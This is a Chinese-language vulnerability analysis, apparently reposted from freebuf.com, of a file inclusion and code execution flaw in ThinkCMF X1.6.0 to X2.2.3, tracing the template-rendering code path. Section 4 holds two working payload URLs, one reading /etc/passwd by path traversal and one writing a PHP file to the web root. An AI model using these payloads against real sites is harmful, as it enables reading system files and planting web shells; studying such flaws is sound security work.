文件包含 or 代码执行 – 作者:mazihan

1.       简介

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

2.       影响版本

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

ThinkCMF X2.2.3

3.       复现环境

我这里下载的2.2.0版本,下载地址为:thinkcmfx2.2.0

安装过程就略过了

4.       漏洞复现

0×01

payload: http://www.code.com/?a=display&templateFile=user/articles&prefix=%27%27&&content=../../../../../../../../../etc/passwd

1583131932_5e5cad1c3ed89.jpg!small

0×02

payloadhttp://www.code.com/?a=display&templateFile=user/articles&prefix=%27%27&&content=%3C?php%20file_put_contents(%27test.php%27,%27%3C?php%20phpinfo();%20?%3E%27);

上述请求发送后,会在网站根目录生成test.php,我们访问一下:

1583131706_5e5cac3a7e5eb.png!small

5.       漏洞分析

合格性的网站程序,都有统一的入口文件【index类似的文件,后缀可能不同】,并且都是基于mvc的设计理念,通常入口文件主要完成:

·定义框架路径、项目路径(可选)

·定义调试模式和应用模式(可选)

·定义系统相关常量(可选)

·载入框架入口文件(必须)

就此项目入口文件,就定义了项目的路径,如下图:

1583131949_5e5cad2d6e4c7.png!small

配置文件,web的配置文件都会定义一些,默认值,下面图中定义了默认的路由值,Portal默认模块,index默认控制器,index默认方法

1583131957_5e5cad356ef3b.png!small

代码执行文件,有了上面的两步分析,就能找到项目默认执行文件是哪个了,在哪个位置。如下图:代码很简洁,在index的方法里,只有display的方法,显然$this->display 的调用,在本类中没有定义这个方法,所以,猜测父级应该有定义这个函数。

1583131964_5e5cad3cc6ce1.png!small

父类里的display方法,不出所料的,找到了父级的display方法,猛地一看,这个方法里面,就一句代码,又出来了display的方法,这个方法,调用的方式为parent的什么,这里是继承了此类的父级display。

1583131972_5e5cad44764c2.png!small

二级父类display方法,这里方法体又来了个display,但是,这里不再是另外父级的display了,二十直接调用的其他类,这个类$this->view可以通过print打印出来,设置个断点,再一个简单粗暴的方式,就是直接搜索项目,关键词display,对结果一一排查。

1583131981_5e5cad4d17875.png!small

view.class.php类里的display方法,通过上面的调试啊,搜索排查啊,找到了这个类的display方法,很好的注释,我们把目光,重点放到$this->fetch函数上,这里有文件的读写操作【前期猜测,后期证实】。

1583131989_5e5cad555fa39.png!small

调用fetch方法,此方法中的重点是第二个if这条语句的判断,这里走的是else,下图有有说明,那hook::listen这里监听的是什么,其学名叫钩子,调用的格式和参数——Hook::listen(‘钩子名称’,’参数(引用)’,’额外参数’,’是否一次有效返回值’);钩子名称传了view_parse,参数$params,这个参数里面,有两个位置要画下重点,一个是键名为file,值为templateFile,这里是get传参的文件名称,第二个是键名为content,值为get传参的content内容值。后面有关于这两个值的逻辑判断。

1583131996_5e5cad5c2f841.png!small

执行else,原因如下:

1583132002_5e5cad62daa7c.png!small

代码执行到listen方法体,重点是self::exec方法,

1583132009_5e5cad699d9d6.png!small

到exec方法,name值为Behavior/ParseTemplateBehavior,下面有截图,在if判断是,符合第一个逻辑,$class这个参数值就是这个类的命名空间,$tag直接赋值为run,也就是实例化这个类,调用run方法。

1583132016_5e5cad70dbbf2.png!small

符合Behavior这种路径的,统一调用run方法

1583132024_5e5cad78640dc.png!small

到这个类的run方法,上面强调了两个参数,一个是file,一个是content,这里很好的做了是文件,和内容的判断,如果内容为空,$content的最终内容是存在的文件内容,如果有值,则为传参里的content值,这里优先级content参数值,优于file值,但如果这两个重复了,那就是file的值了。因为后面还有这个判断,这里卖个关子。这里执行else的分支,这里直接断点调试就出来了,打个echo 123,也能做判断。

1583132030_5e5cad7ef042e.png!small

Template类文件fetch方法,在实验过程中,标注了文件写入的位置,和文件包含的位置,【记忆力差,这里主动标注的】所以,这里直接看具体的方法内容。

1583132038_5e5cad8617ad2.png!small

loadTemplate方法,这是第一个方法,这里就解释了,我上面卖的关子,如果是文件,且存在,就获取文件的内容,否则,是get 参数content的值。

1583132044_5e5cad8c82ae2.png!small

1583132052_5e5cad944e947.png!small

Storage类里的put方法,这是存储的类,调用了静态put方法。所谓静态方法,使用了static的修饰词,并且不需要实例化的对象,其次,配合使用了魔术方法__callstatic,感觉这里溜得飞起。这里的self::$handler是file的类,call_user_func_array()此函数调用规则,第一个参数数组类型,数组里面放的是类,和类方法,第二个参数为调用方法的参数,这里不好理解,可以多读两遍,多品品,也可自行查手册。

1583132061_5e5cad9df0458.png!small

File类里的put方法,通过上面的call_user_func_array方法,到了file类的put方法,很简单,监测目录是否存在,创建目录,赋值权限,写入文件,到此,就是完成了文件写操作。

 

1583132070_5e5cada6b8431.png!small

最后执行include加载,就有了页面的显示效果。

1583132078_5e5cadae0820a.png!small

6.       总结

这里放一张流程图,给上面的陈述做个导图,直观一点,如下:

1583132086_5e5cadb6984a7.jpg!small

这里可以体会逆推的方式,挖掘漏洞,这张图就点到这了。

菜鸟的我学到了什么:

1、         子类调用父类,public属性方法,直接访问

2、         静态魔术方法 __callStatic

3、         只需要一个payload,就可以实现网上的文件包含、写shell

 

来源:freebuf.com 2020-03-16 09:23:57 by: mazihan

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论